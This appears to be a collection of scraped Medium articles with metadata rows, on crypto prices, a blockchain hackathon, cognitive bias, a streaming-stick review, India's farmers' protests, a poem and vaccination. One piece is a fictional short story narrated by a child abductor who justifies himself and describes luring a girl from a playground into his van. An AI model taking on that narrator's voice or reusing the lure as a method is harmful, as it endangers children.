Areas of concentration in the week ahead will be $616.44 and $668.34. If the bears break and close ETH price below $616.44 in the first day of the coming week. We could have a major correction of the uptrend to print a higher low of $590.44.
But if the bulls break above $668.34, the rally will probably continue in the week ahead.
About ZB Group
ZB Group was founded in 2012 with the goal of providing leadership to the blockchain development space and today manages a network that includes digital assets exchanges, wallets, capital ventures, research institutes, and media. The Group’s flagship platform is ZB.com, the industry leading digital asset exchange. The platform launched in early 2013 and boasts one of the world’s largest trading communities.
ZB Group also includes ZBG the innovative crypto trading platform, and BW.com, the world’s first mining-pool based exchange. Other holdings include wallet leader BitBank.
Industry intelligence and standards are headed by the recently launched ZB Nexus who embody the core values of ZB Group and open-source their reports and analysis for the public.
Learn more about ZB Exchange by visiting www.zb.com. | https://medium.com/@zbmarketreport/zb-market-daily-btc-eth-weekly-technical-analysis-b0f722d4cf0d | ['Zb Market Research'] | 2020-12-21 04:38:15.874000+00:00 | ['Blockchain', 'Bitcoin', 'Crypto', 'Cryptocurrency', 'Analysis'] |
Blockchain helps to resolve real-world issues | In early May, Waves took part in the global online hackathon Open Hack as a tech partner.
Over 150 hackathon participants from all over the world built and pitched their solutions to one of the three challenges — “Covid spread tracking”, “Bushfires risk management” and “Global Warming.“
Hackathon participants vs. pandemic spread
Under the current global circumstances, the challenge focused on tracking the spread of the coronavirus infection was especially vital. Certainly, the IT industry can offer, and is working on innovative solutions for fighting the coronavirus pandemic. For instance, as Bill Gates recently said, the introduction of digital certificates for tracking infections and recoveries, as well as vaccinations, would be an efficient measure.
One of the examples presented at the hackathon to inspire the hackers for their projects is a coronavirus tracking tool, based on the Waves Protocol and recently developed by Waves community member Christophe Verdot. His tool is special due to its decentralization: data entered into the tracker cannot be altered or deleted as it is stored on the blockchain, which ensures transparency for the monitoring of the spread of the infection. More information about it, as well as a step-by-step guide for web developers is available.
A challenge at OpenHack 2020 Australia tackled the same issue: participants were expected to use blockchain and the Waves infrastructure to build their projects. To get developers started, a two-part crash course on blockchain was released specifically for the hackathon. It is now publicly available, and I suggest that you watch it on YouTube! These videos will be an excellent crash course on blockchain technology.
In the “Best Tech Solution” nomination, the winтing team was “Intel Away”. This team managed to create a fully-fledged decentralized app, including a smart contract in the Ride programming language and a web interface for its use. The winning project can be explored here, additionally the smart contract code can be found in Waves Explorer.
You can learn about the plans for promoting the tool in an interview that Thiago Capuano, Intel Away’s leader and an active Waves community member, gave to Future Position, one of the partners of OpenHack.
Based on the hackathon’s results, its global jury, on which I had the pleasure to be a part of, alongside Future Position’s Henrik Dahl and Canberra Innovation Network’s Petr Adamek, selected the winners in three nominations. The winners’ pitches and the jury’s comments are available in the closing ceremony video.
Certificates for the participants
Hackathon participants did substantial work, and, once the event was over, a discussion arose on presenting them with an extra award — the opportunity to add their participation, or win, on their CV.
Then I remembered the Certificado tool, a platform for issuing digital certificates. I started developing it several months ago and described the process in detail in the tutorial “How to build your first blockchain-based app in 15 minutes”. Basically, everything was almost ready for issuing certificates to OpenHack participants.
I suggested to Monika Lionaite, the Open Hack CEO, an idea of making hackathon diplomas more valuable to its participants by issuing them on the blockchain with the use of the Certificado system.
Certificates issued on the Waves blockchain with Certificado can be attached by participants to their CVs as PDF files and verified at any time by any internet user with the authenticity verifier.
For example, you can verify the authenticity of the certificate of Thiago Capuano, a hackathon winner, with Certificado authenticity verifier! The OpenHack team liked the Certificado system so much that they requested certificates for all of its members to commemorate the successful hackathon organization on the blockchain.
Separately, I would like to thank Monika for participation in the certificate PDF file design and preparation of a video on certificate validation on the blockchain.
You can learn more about the use of blockchain for certificate issuance in my article “Educational certificates on the blockchain: why and how?”. The system is ready for integration, and I’ll be glad to offer it to everyone interested in adding an option for automated issuance of immutable certificates to their education projects.
OpenHack 2020 once again demonstrated blockchain’s huge potential for resolving acute global issues, such as curbing the spread of the coronavirus pandemic. Go ahead and use blockchain in your projects! | https://medium.com/wavesprotocol/blockchain-helps-to-resolve-real-world-issues-aec54d4e8ae5 | ['Vladimir Zhuravlev'] | 2020-05-28 20:12:19.906000+00:00 | ['Wavesplatform', 'Web3', 'Decentralization', 'Blockchain', 'Developer'] |
3 More Mental Errors That Mess With Your Decision-Making | Survivorship Bias: The Forgotten Failures
“Steve Jobs, Mark Zuckerberg, and Bill Gates all dropped out of school and became billionaires! You don’t need school to succeed. Startup founders just need to stop wasting time in class, drop out, and get started.”
It’s entirely possible that Steve Jobs succeeded despite his path and not because of it. For every Jobs, Gates, and Zuckerberg, there are thousands of aspiring entrepreneurs with failed products, debt-heavy bank accounts, and half-finished degrees.
When we remember the winners and forget the losers, it becomes very complicated to say if a particular strategy leads to success.
This leads to survivorship bias: our tendency to focus on the winners in a particular area and try to learn from them while completely forgetting about the losers who are using the same strategy.
Almost every online news platform is filled with survivorship bias these days. Each time you read stories like “The Best Startup Advice Mark Zuckerberg Ever Received” or “10 Things Successful People Do Every Day” or “How Lionel Messi Trains in the Off-Season”, you’re seeing survivorship bias in action.
There might be thousands of soccer players who train in a very similar way to Lionel Messi but never made it to FC Barcelona. Nobody hears about the thousands of athletes who never make it to the top.
Lionel Messi. Source
We only hear from those who survive. As a result, we mistakenly overvalue their strategies and advice while ignoring the fact that the same strategies didn’t work for most people.
Survivorship bias isn’t just saying that a strategy may not work well for you, it’s also saying that we don’t actually know if the strategy works well at all.
People like Gates, Messi, and Zuckerberg are anomalies at one end of a distribution curve. While there is much to learn from them, it would be a mistake to expect the same results from doing the same things. | https://medium.com/the-innovation/3-more-mental-errors-that-mess-with-your-decision-making-e3308e851361 | ['Yannick Bikker'] | 2020-09-04 17:57:17.700000+00:00 | ['Life Lessons', 'Self Improvement', 'Life', 'Psychology', 'Decision Making'] |
Alice | I am not a bad guy, they made me like this. I come across as a family looking man that is what makes it so easy, they never suspect me or see it coming. They are all too busy on their phones, sucked into another world and forgetting this one. They don’t deserve them, the innocent. Why should they be stuck with someone who doesn’t love them? I have to intervene, I have to do something. I usually wait around at the play structure, or the mall depending on the day. Sometimes it is as easy as a trip to the store. It amazes me how they could care less about something they love. I would never do that, but everyone must learn the hard way. The news always gets it wrong, I am not sick, I am not deranged. They still don’t have a face or name, that shows you they don’t pay attention. I have met some of them, they have seen my face, we even had a conversation every now and then. It’s like they want me to keep doing it.
I saw her in a red puffy jacket, blonde hair, blue eyes spinning around by herself on one of the play structure’s steel merry go rounds, I remember those as a kid, I’m surprised this structure still had them. She was laughing as though she was playing with an imaginary friend. Her mom is close physically, but far mentally talking on her phone, ignoring her. She was a bad mom, a lot of them are. I approached the child, I could see her full of life and introduced myself. I kept an eye out the side to see if her mom would protect her, like a lion and a cub, but nope she was still on that phone. I was begging her to turn and look and say something to save her from me.
“Excuse me” I smiled. “I am looking for my son, have you seen him?” She gazed at me confused.
“No I haven’t” I began to walk away slowly like a sad dog waiting for her to stop me. “What does he look like?” She asked curiously as they usually do.
“His about your age 8 or 9”
“I’m 10” She corrected me.
“I’m sorry”
“It’s okay” I moved in closer as I glanced over my shoulder to see if the mom was watching, I mean the woman doesn’t deserve the name mom.
“He has brown hair and wears glasses” I said testing my acting skills as I got teary.
“What’s his name?” I looked up at her as I paused.
“Matt” I spoke softly.
“I’ll help you find him” She said sincerely
I exclaimed softly “thank you, I think he might have gone to the parking lot looking for my car, I parked a ways from here, maybe he got lost.”
“I’ll ask my mom if she has seen him.”
“No that’s okay” my heart beating fast worried she might run off. “I’ll go by myself. I don’t want to scare anyone.” My acting skills improved as I began to step away. Just when I headed towards the parking lot, I heard
“Wait!” as she ran up beside me. I smiled looking towards her mom to see if she caught on, but instead she had taken a seat on the bench head down probably texting. Before we search we should probably leave a note for you mom. “Here” I said reaching into my breast pocket, “let’s not disturb you mom while she is on the phone, just put this on the merry go around.
“Okay” she said as she ran off. We then headed to the end of the parking lot when I stopped.
“You know what” I placed my hand under my chin thinking. “He probably is waiting for me in the car. I don’t remember where I parked.” I look even more distressed. “If you see a white van with covers on the back windows let me know.” I put my finger up matching my eyebrows. I saw her pace around searching, even though I knew where it was and how close she was. In my head I was saying “warmer….warmer…”
“Here it is!” she exclaimed. I was getting nervous, but I had to keep up the act just in case someone was paying attention. It’s easy for them to believe she is mine and we are looking for our car.
“Great!” I said as she tried to see through the curtains.
“I don’t see anyone” she peered in.
“Of course the curtains are in the way silly.” I chuckled as I walked up behind her. “Well he usually hides in the bottom to try to scare me” I grinned. “Ugh…I can’t fit back there, do you mind checking in the back?” I asked politely. She looked scared, as she should.
“I’m not allowed to get in strangers’ cars ,’’ she hesitated.
“You’re right I’ll try and fit and you can watch on the other side to see if he comes running out.”
“Okay!” her eyes lit up and her trust in me came back. I pretended to search before I gave up. I exhaled as I got out of the car.
“He isn’t there” I got out and exhaled with disappointment as I shut the car door. She ran around to my side of the door looking like a sad puppy. “Well thanks for helping me, I don’t have anything to give you but if you want I can get you some Mcdonalds?” I said confidently as I placed my hands on my hip. “Then we can come back and see if he is at the park.”
“I can’t” she hesitated again.
“I left a note for your mom, that you were helping me find him, remember?” I laughed. “Come on, we will be right back, I have to come back for my son, I can’t leave him” I said with reassurance. “Then I’ll introduce you two” I began to kneel to eye level with her “You might like him” I said with a crooked smile. “We can bring him back something too.” She got excited as I opened the car door and she slowly climbed in falling for my set up. I closed the door carefully so not to make it obvious she wasn’t mine to take. We drove off, doors locked as I played some music.
She didn’t know what was in store, what her faith would be, until we passed Mcdonalds. “Don’t worry I go to one that’s better, one that Michael likes” I realized I slipped, but it was too late. I saw the light from her eyes fade as she looked puzzled. I could already feel her body turn cold and pale before I did anything.
*****************************************************************
“Okay Melinda I have to go. I’ll call you when I get back to the house.” I hung up the phone as I headed towards the’ play structure. I didn’t realize how hard it was to see with the trees in the way. I didn’t hear anything, only saw an old couple walk by. “Alice” I said as I got closer. I pierced at every piece of structure on the playground looking underneath the bridge. “Alice!” I yelled in the tunnel, no response. I then walked towards the basketball court. My heart began to skip a beat. “Calm down” I said to myself, she’s probably in the bathroom. I told her to let me know when she is leaving the structure. “Alice!” I banged on the bathroom door, no response. I start to panic as I saw the merry go round still rotating as I made my way to it, I saw a piece of paper lying down, I picked it up and as I began to read it, my hand started to shake:
“I took her because you didn’t love her, not as much as me.”
https://adifferentformat.com/ | https://medium.com/@eternity74/alice-8566e180df80 | [] | 2020-12-19 09:19:40.352000+00:00 | ['Short Story', 'Creative Writing', 'Life Lessons', 'Short Fiction', 'Moral'] |
Amazon Fire TV Stick (2020) and Fire TV Stick Lite review: Exactly what you expected | Amazon Fire TV Stick (2020) and Fire TV Stick Lite review: Exactly what you expected Brandy Dec 5, 2020·7 min read
It doesn’t take much time with Amazon’s new Fire TV Stick and Fire TV Stick Lite to understand what they’re all about.
The $40 third-generation Fire TV Stick is an overdue upgrade to Amazon’s best-selling streaming player, replacing its four-year-old processor with one that’s much faster. The $30 Fire TV Stick Lite, meanwhile, is a naked attempt to achieve price parity with Roku’s budget Express streamer, with the same performance as the standard Stick but a major compromise to its remote control: There are no TV volume or power buttons onboard.
Of the two, the Fire TV Stick is much easier to recommend than the Lite version. I’ve said it before, but having TV controls built into the remote really is worth the extra $10.
This review is part of TechHive’s coverage of the best media streamers, where you’ll find reviews of competing products, plus a buyer’s guide to the features you should consider when shopping for this type of product.Whether the new Fire TV Sticks are worth buying over other budget streamers is harder to say, because Amazon is preparing a major software overhaul for later this year. We’ll update this review after said software arrives. For now, those who enjoy the Fire TV experience can expect more of the same—just without as many speed bumps along the way.
Similar sticksHeld next to one another, the new Fire TV Stick and Fire TV Stick Lite look identical. Both plug directly into your TV’s HDMI port (a short extension cable is included if you need more clearance around the TV), and both have a quad-core 1.7GHz processor, 1GB of RAM, 8GB of storage, and dual-band Wi-Fi 5 support. While the two sticks have no extra ports beyond micro-USB for power, a cheap USB-OTG cable would allow for thumb drives and other USB accessories.
Performance-wise, they’re a big improvement over the previous Fire TV Stick (which first launched in 2016), with much shorter loading times and less herky-jerky scrolling through menus, and they bring speed roughly up to par with other budget streamers. Roku devices tend to feel a little faster—if only because they’re better at showing partial menus or loading icons instead of just momentarily freezing up—but in terms of loading times, it’s pretty much a wash.
Jared Newman / IDG Amazon’s Fire TV Stick 4K (pictured at rear) is a bit larger than the identical-looking Fire TV Stick and Fire TV Stick Lite
Both Fire TV Sticks can also supply 1080p video and support high dynamic range in the HDR10, HDR10+, or HLG formats, though neither support 4K video or Dolby Vision HDR. (You’ll need to step up to Amazon’s $50 Fire TV Stick 4K for those features.)
The only other difference on the spec sheet is on the audio front: Where the Fire TV Stick supports decode for Dolby Atmos, Dolby Digital/Digital+, and DTS, the Fire TV Stick Lite only supports passthrough for those formats.
That said, the Lite’s lack of Dolby decoding won’t matter in most cases. I was able to hear Atmos’ object-based audio while watching Netflix’s Our Planet on both devices; and if you’re springing for an Atmos soundbar, chances are you also have a 4K TV to go with it. In that case the Fire TV Stick 4K is a better option anyway.
Different remotesThe bigger distinction between the 2020 Fire TV Stick and the Fire TV Stick Lite is in their remote controls. While the third-generation Fire TV Stick has TV volume and power controls on its remote, the Lite model does not.
Jared Newman / IDG The Fire TV Stick Lite remote (pictured at rear) has a channel guide button, but the Fire TV Stick (in front) has TV volume and power controls.
Amazon takes great pride in those TV controls, which support a wide range of televisions, soundbars, and A/V receivers via infrared commands. If you have a sound system with its own IR receiver, you can set up the Fire TV to control the volume independently of the TV, and you can also use HDMI-CEC to control everything in unison.
Once more, with feeling: It’s really nice having those controls on a single remote. On the Fire TV Stick Lite, I kept reaching for volume buttons that weren’t there, and needing to reach for a separate TV remote was a rude awakening.
The Lite model does have its own unique remote control button that launches the Fire TV Channel Guide, which displays a grid guide for supported services such as AT&T TV Now, Philo, Sling TV, YouTube TV, and Amazon’s Fire TV Recast DVR. But for most people, that’s not a worthy trade-off, especially because you can always use the remote’s Alexa voice control button to open the guide or tune directly to specific channels.
Jared Newman / IDG The Fire TV Stick Lite remote has a button for Amazon’s Channel Guide, which offers quick access to live channels in certain apps.
Same software (for now)This is the part of the review where things get a little squishy. Back when Amazon announced its new Fire TV Sticks, it showed off a new menu system that’s more streamlined than the current one.
But that’s not the menu Amazon is shipping today. Instead, it’s the same old chaos that’s defined the Fire TV experience since late 2016. Beneath the top-level menu and featured content, you’ll get a row for recent apps and recently-viewed Prime content, a sortable row of favorite apps, and then a sprawling list of recommendations with a heavy emphasis on Amazon’s Prime Video and IMDb TV services.
Jared Newman / IDG The Fire TV home screen, prior to a planned late-2020 overhaul.
Now, I’m on record for having liked this interface in the past. At the very least, it’s more interesting than Roku’s approach, which makes no attempts to recommend anything other than free, ad-supported video.
But as I wrote in my Roku Ultra review, devices like the new Chromecast with Google TV, TiVo Stream 4K, and Apple TV 4K are all better at dealing with too many streaming services. Like Amazon, they all try to provide a single menu for content instead of making you jump into lots of different apps, but they’re more organized, more customizable, and less biased toward certain sources of content.
Jared Newman / IDG Scroll down the Fire TV home screen, and you’ll get recommendations on what to watch.
Here’s a basic example of where Fire TV falls short: On my home screen, there’s a row called “Science Fiction,” with films like Moon, Arrival, Ready Player One, and Blade, but the home screen shows no information about where those films are available. For that, you need to click on each entry, which shows that Moon requires a Showtime subscription (which Amazon sells), Arrival is a rental (also sold by Amazon), and Blade is on Hulu. What seems like an attempt to make sense of streaming is really just a way to upsell you. By contrast, the new Chromecast and TiVo Stream 4K let you customize which services appear on the home screen, so you don’t get recommendations from services you’re not already paying for.
Jared Newman / IDG Navigating through the home screen means looking over lots of suggested apps and sponsored content.
Meanwhile, Amazon’s Alexa search function continues to return irrelevant results for genre searches such as “new comedies” or “classic sci-fi,” so you can’t really sift through streaming options that way. Given everything else Alexa can do on Fire TV devices—from launching music and video content to controlling smart home devices—search is an unusual weak point, especially compared to Siri on Apple TV and Google Assistant on the new Chromecast.
Jared Newman / IDG Asking for specific genres, like “80s comedy movies,” returns a lot of irrelevant results.
Whether any of this will change with the new interface is unclear, because Amazon hasn’t yet shown enough of it. We can only hope it’s not just a fresh coat of paint over longstanding flaws.
Other missing piecesThe other big issue with Fire TV devices right now is that none of them support HBO Max or Peacock due to Amazon’s ongoing carriage disputes with AT&T’s WarnerMedia and Comcast’s NBCUniversal respectively. While you can still watch HBO on the Fire TV Sticks through other methods—with an Amazon Channels subscription, via live TV services like YouTube TV and Hulu + Live TV, or with standalone subscriptions through the HBO app—you won’t get the expanded Max catalog, and Peacock isn’t available on the platform at all. It is possible to sideload HBO Max and Peacock on Fire TV devices, but users shouldn’t have to jump through those hoops.
While I’m ranting: It’s time to stop giving Amazon a pass for not supporting private headphone listening. Apple TV and the new Chromecast both support Bluetooth headphones or earbuds, and Roku’s mobile app supports Bluetooth or wired headphones. Some Roku players even have headphone jacks built into their remotes. While Fire TV devices can technically connect to Bluetooth headphones, they provide no way to adjust the volume without elaborate workarounds.
A solid budget streamer with issuesThe new Fire TV Stick still has its upsides. Only Roku offers streaming players at comparable prices, and Amazon’s frequent sale pricing often makes the Fire TV Stick even cheaper. Alexa opens up some voice-control possibilities that don’t exist on cheap Roku streamers, such as launching live TV channels or controlling smart home devices. It’s also a nice way to access certain over-the-air DVR solutions, including Channels DVR and Amazon’s Fire TV Recast, neither of which Roku supports.
But it also feels like a streaming device trapped in limbo, with neither the app-centric simplicity of Roku players or the elegant unified streaming guide of the new Chromecast with Google TV. We’ll have to wait and see whether this year’s big interface upgrade will push the Fire TV in a clearer direction.
Either way, though, think long and hard before cheaping out on the Fire TV Stick Lite and its inferior remote. That’s something no software update can fix.
Note: When you purchase something after clicking links in our articles, we may earn a small commission. Read our affiliate link policy for more details. | https://medium.com/@brandy38616242/amazon-fire-tv-stick-2020-and-fire-tv-stick-lite-review-exactly-what-you-expected-8aafb0d98333 | [] | 2020-09-17 00:00:00 | ['Gear', 'Chargers', 'Security Cameras', 'Consumer'] |
Le Program Board pour aligner vos équipes | in The Road to Wellness | https://medium.com/klaxx/le-program-board-pour-aligner-vos-%C3%A9quipes-a38c617c4a9 | ['Xavier Koma'] | 2020-12-04 19:34:25.823000+00:00 | ['Roadmaps', 'Product Management', 'Teamwork', 'Organization', 'Safe'] |
Bharat Bandh — The Farmers Protests Continue — Another Day of Police Brutality and Further Calls for Boycotts | December 12, 2020
This past week marked one of the world’s largest protests in history. It took place in India, and the world barely took notice. More and more farmers have continued to join the protests from across India — Tamil Nadu, Bihar, Rajasthan, Kerala, and Uttar Pradesh to name just a few. Some farmers were blocked from leaving their states by their police, so they sat down at their borders blocking the roads. One of the largest democracies in the world is facing major backlash within its own country. It’s facing international criticism of their handling of the farmers as they peacefully tried to enter Delhi through Haryana, a BJP led state. Narendra Modi and his BJP government also face criticism on passing the farmers bill despite opposition within Rajya Sabha against the bill — the bill is unconstitutional. The BJP government also did not hold any discussions with farmers unions prior to drafting this bill. For more information on this, you can refer back to my previous article.
Many of us were forced to rely on Instagram to provide us with daily updates because news outlets across the world were not reporting on the protest. And if they were reporting on the protest, it was inaccurate and trying to label the protesters as Khalistani terrorists. Thanks to social media we were able to change the narrative back to what it was really about — the farmers protest.
As discussions with the BJP government were coming to a standstill, the farmers announced a nationwide protest — Bharat Bandh. Many different trade unions joined the protesters on December 8th. While we were still sleeping, videos began circulating on Instagram of police in Chandigarh spraying water cannons at protesters outside of the BJP’s office. I watched videos of police beating protesters, while other protesters were trying to stop the chaos. Less than two weeks ago, protesters marching to Delhi received the same treatment with the addition of tear gas. The second upset was that the December 9th meeting with the government was cancelled.
If you didn’t know already, Chandigarh is Union Territory, which means its administration functions directly under the Central Government and not by the state of Punjab. It may be the capital of Punjab and Haryana, but it doesn’t actually belong to either state (that’s a story for another day). Minister of Parliament in Chandigarh is Bollywood actress turned politician, Ms. Kirron Kher, who has also remained deathly silent since the protests began. Her only post on Instagram or Twitter after November 27th was for Gurpurab. I really shouldn’t expect anything more from a BJP MP, but keep reading and you’ll see why I’m overly annoyed by the hypocrisy of this lady.
Let’s go back five years ago. On December 1, 2015, she spoke in Lok Sabha on the debate of intolerance within India. Lok Sabha is the lower house of Parliament and below the Rajya Sabha where the farmers bill was passed. I remember watching the video and feeling proud that someone spoke so passionately for us within the government. She spoke about Congress’s conscience not being awoken when Indira Gandhi sent in the army to attack the Golden Temple in 1984; the mass sterilizations committed by Indira Gandhi’s government during the emergency order; and the anti-Sikh riots after Gandhi’s assassination. Ms. Kher was only right about one thing — it was no riot. It was a massacre. When the opposition parties tried to speak over her, her response was essentially: we listened to you, now it’s our right to speak, and that all sides have a right to voice their opinions. Ironic isn’t it?
She talks about intolerance and people’s conscience in 2015, but where is her conscience today? Today it was your city where the police brutality occurred, Ms. Kher. Aap jatt hoke vi hun chup behti hain, kyon? When you need their votes, you remember your people and your Punjab. What happened to you these last 11 days? In 2015 you also mentioned the mass sterilizations imposed by Indira Gandhi, the emergency order, and the intolerant practices of the Congress party, but what about the BJP now? The Congress party wasn’t any better for India in the past, but it doesn’t mean that the BJP is the best option for India today. India continues to face injustices on all fronts because of your party. Today your government is oppressing all minorities. How can you be so hypocritical?
Image: screenshot of Narendra Modi’s twitter account
And Modi saab, you tweeted on May 3, 2014 about this very emergency order, and celebrating freedom of expression and freedom of press. Today you’re sending internet jammers at the protest sites and increasing police presence everywhere. Today, you’re spraying water cannons, beating, and shooting tear gas at our grandparents, parents, brothers, and sisters. The only difference between you and Indira Gandhi is that we knew what and who she was trying to suppress, but you sir are a different type of breed. You target all minorities that we can’t keep our head straight. In recent years, numerous protests have taken place against your fascist government and its policies. Time and time again, you and your supporters have shown the world how you treat your citizens — you know, the ones who have a democratic right to protest when they so chose to do so because they live in a democratic country. You detain politicians who try to support the farmers. India is still a democracy right? Legitimately, every community that stands up to you, Modi, can’t all be wrong — students, farmers, Dalits, Muslims. They’re all misguided?
Today generations and different religious groups have come together in unity. Army veterans are joining the protest. For the first time in India’s post-partition history, the country has united irrespective of their language barriers and faith. Punjab is the unsung hero of this country pre- and post-partition. Despite all this, their voices have always fallen on deaf ears — yours, your governments, and a film fraternity’s. Perhaps Dr. Ritu Singh is right — it’s time for you, Modi, to step aside. Let the Ambani’s and Adani’s lead the country since they’re the ones running the agenda anyway. The farmers can deal directly with them considering the bill you passed benefits their corporations.
Tomorrow is the start of the next phase of the farmers protest. While car rallies across the world will be taking place, the farmers have called for a different type of protest. They announced the following plan:
Blocking the Delhi-Jaipur and Delhi-Agra highways on December 12th;
boycott of all Adani projects, malls, toll plazas and other projects that provide revenue to the BJP on December 14th (tolls will be made free for travellers on December 12);
All Jio products will be boycotted;
On December 14th, protests to be held at district BJP headquarters across the country;
Another ‘Delhi Chalo” protest will be held in Delhi’s neighbouring states in order to surround India’s capital;
Farmers across the country will continue to protest.
You have to give credit where credit is due. These farmers have come prepared — they know the country no longer trusts this government; they exposed the government controlled media groups; they have support from Punjabi artists, and they’re relying heavily on social media to get their messages across. They have received the support of independent documentary photographers and they have received external support from people and politicians across the world. While in the midst of a global pandemic, we have figured out ways to show our support relying heavily on car rallies. Last weekend past and within Canada, America, and the U.K., we say more than tens of thousands of cars come out in support. This weekend is round 2 — Ontario wide car protest starting in Windsor and heading to the Indian Consulate in Toronto while other cities join in. In Birmingham, U.K., cars will be joining from different cities, like Leicester, Coventry, Derby, Southall, etc. My hope is that we will be able to garner more attention from the mainstream media and put further pressure on the Indian government to repeal the farmers bill.
Finally, if all of the above didn’t get through to you, I hope this will. The Economist got it right when it said that the world’s largest democracy was heading into a future that is less free. Those supporting the farmers today have already come to this realization. They know they have less freedom today than they had when Modi was first elected. The unconstitutional passing of the farmers bill is a clear indication of what this country has to look forward to. Modi is attacking every group — Muslims, doctors, Dalits, farmers, students. No one is safe in this dictatorship and divisive government. However, for those that are still following this anti-national narrative — the day will come when your rights get stripped away and then you’ll realize you were on the wrong side of history. Remember the last time your basic fundamental rights were stripped away was during the Emergency Order, and then think back to how your parents and grandparents felt at the time. Today, democracy is on the brink of extinction. If you thought Trump was dangerous, you were wrong. While there may be many more Trump 2.0’s out there, Modi isn’t one of them. Modi is the Godfather. He’s learned from Trump’s mistakes, and that’s worse. After the defeat of Trump in the 2020 American elections, journalists and political scientists alike wrote about that one politician who would learn from Trump’s mistakes. Modi is that one they were all worried about and let that sink in!
#kisaanmajdoorektazindabad
#farmersprotest
#istandwithfarmers
___________________________________________________________________
Footer regarding Kirron Kher’s Video:
Just a side note: I’ve linked two videos of the same speech by Kirron Kher. Please do watch both of them. I have watched the first video so many times since 2015 (highlighted under the word ‘intolerance’). When I re-watched it again to write the paragraph on her speech, I wanted to make sure that I mentioned her three points. Except the last point in her speech was muted. I kept replaying the video thinking ‘how come I can’t find that part anymore?’. At 3 minutes and 46 seconds, the video goes quiet for a full minute, but the time continues. I specifically remembered her mentioning the assassination and the Sikh’s massacred in the aftermath, but for some reason I couldn’t locate it in the first video. I had to look for other videos of the same speech and was luckily able to find the second one highlighted under ‘Gandhi’s assassination’. Watch for yourself. I don’t know what it means or if it even amounts to anything at all, but I thought it was worth mentioning that a portion of the video was now muted on BJP’s YouTube page. | https://medium.com/@hkaur84/bharat-bandh-the-farmers-protests-continue-another-day-of-police-brutality-and-further-calls-edeb0a88e22c | ['Kirat Kaur'] | 2020-12-12 06:33:39.050000+00:00 | ['Farmers', 'Democracy', 'India', 'Protest', 'International'] |
When she dreams | When she dreams
Photo by Damiano Lingauri on Unsplash
I dreamt of you again, Donald.
I saw you floating in the room,
buoyed up like a balloon
at a parade.
Your face became
distorted and stretched,
as it filled with hot air.
You got bigger and bigger
and bigger and bigger,
flattening me into a corner,
until you popped
into an explosion of confetti
that tinkled
down,
and slowly disappeared
into nothing,
but a lingering
scent
of sulfur -
but when I woke up,
you were gone. | https://medium.com/resistance-poetry/when-she-dreams-46a0fa9ccdf4 | ['Antoinette Nevitt'] | 2020-11-12 12:07:59.847000+00:00 | ['Resistance Poetry', 'Election 2020', 'Trump', 'Democracy', 'Poetry'] |
You don’t need to be a superhero. You just need to get vaccinated. | The authors two children, Nusayba and Ibrahim, posing after taking their second vaccine shot. Photo courtesy of the author.
I wish we were as obsessed with science, vaccines, and living as we are obsessed with superhero movies. I actually love comic books and still read them to this day, but thanks to Disney, which now owns everything, even I can’t keep up with the barrage of spandex content. Every week, there’s a new TV show or movie or remake of a comic book movie based on our favorite caped characters from the DC or Marvel universe. I haven’t had time to see Eternals, probably won’t have time to see the latest Spiderman movie, and was just reminded that two episodes of Hawkeye dropped earlier this week.
It’s getting a bit much.
I know you’re likely thinking, What does your rant have to do with vaccines and hate freedom, old man? I don’t hate freedom, but it’s a good question.
Popular culture reflects the hopes, dreams and fears of a society. Superheroes are our modern mythical heroes, and they make for fantastic escapism during a global pandemic, income inequality, the rise of fascism, and climate change, which is apparently a hoax according to Donald Trump and several GOP leaders. We live vicariously through the fictional characters’ heroic exploits. If only we had superpowers, we too could wear leotards and save the day.
I think superhero movies also work on another level in that they reflect our desire to outsource our problems to a singular hero, an unseen deity, or a powerful force that can snap its fingers, like a non-genocidal Thanos, and magically cure all our ailments.
The truth is that the Avengers and the Justice League aren’t coming. They aren’t real. We’re all that we have. We have to rely on ourselves and do our best with whatever tools and powers we have to save ourselves during a once-in-a-lifetime pandemic that has killed more than 5 million people and counting. After surviving this summer’s deadly delta variant, we now have to learn new Greek letters thanks to the emergence of Omicron. This variant sounds like Unicron, the planet-eating villain from Transformers: The Movie. (I’ve been waiting since 1986 to make that reference, and it was so, so worth it.)
Although President Biden reassured Americans earlier this week that the variant is “a cause of concern, not a cause for panic,” the World Health Organization warned the new risk posed by Omicron was still “very high.” Obviously, we don’t know what we don’t know, however South Africa, to its credit, identified the variant and made its findings public last week. This only meant that some people would result in knee-jerk demonization and name Omicron the “South African variant,” even though coronavirus doesn’t have a zip code, ethnicity, gender, or religion. There are also travel bans in place against South Africa, even as Omicron has spread to Europe, resulting in the foreign ministry suggesting the country is being unfairly punished.
(In part due to Trump’s branding of Covid-19 as the “China Virus” and “Kung Flu” in 2020, the Stop AAPI Hate group recorded more than 3,000 incidents of hate and assault against Asian Americans, who were unfairly smeared and blamed for a virus. The FBI data revealed anti-Asian hate crimes jumped 73% in 2020. Hopefully, we don’t repeat this tragedy against those from African countries.)
The emergence of Omicron should force us to finally acknowledge that we are all in this together. Our border walls, expensive zip codes, industrialized status and ridiculously expensive water bottles won’t seal us off or give us protection. Developed countries have been stingy with giving out vaccines and medical resources to other countries in desperate need of vaccines, while a significant minority around the world is radicalized and misled by misinformation and taking horse dewormers instead.
One would assume that if Matt Damon needed to be saved, or if there was an alien invasion, the world would unite much like in science fiction movies, but the disjointed global response to Covid-19 revealed that it’s just a Hollywood fantasy.
In the past two years, we have at least learned the following:
Covid-19 is real and dangerous
More than 5 million have died from the virus
We might be done with Covid-19, but it certainly isn’t done with us. If it’s a trilogy, then we’re most likely in COVID 2: COVID HARDER
Vaccines work, save lives, and they don’t implant chips in your head that allows Bill Gates to track your every move while he’s busy playing Jenga with the Deep State
Those who are unvaccinated are at an 11 times higher risk of dying, being hospitalized, getting sick and passing on the virus, which then mutates and evolves into new Greek letters
This all brings me back to superheroes. It is overwhelming to reflect on the multitude of problems that are currently facing the globe, humanity, and our respective communities. In the end, we can only be responsible for our own intentions and actions. In the U.S., this means we have the choice to get vaccines, which are free and readily available, as a means of protecting ourselves, our loved ones, and also those who are vulnerable. This includes people like my 5-year-old daughter Nusayba, who is an immuno-suppressed cancer survivor with a liver transplant.
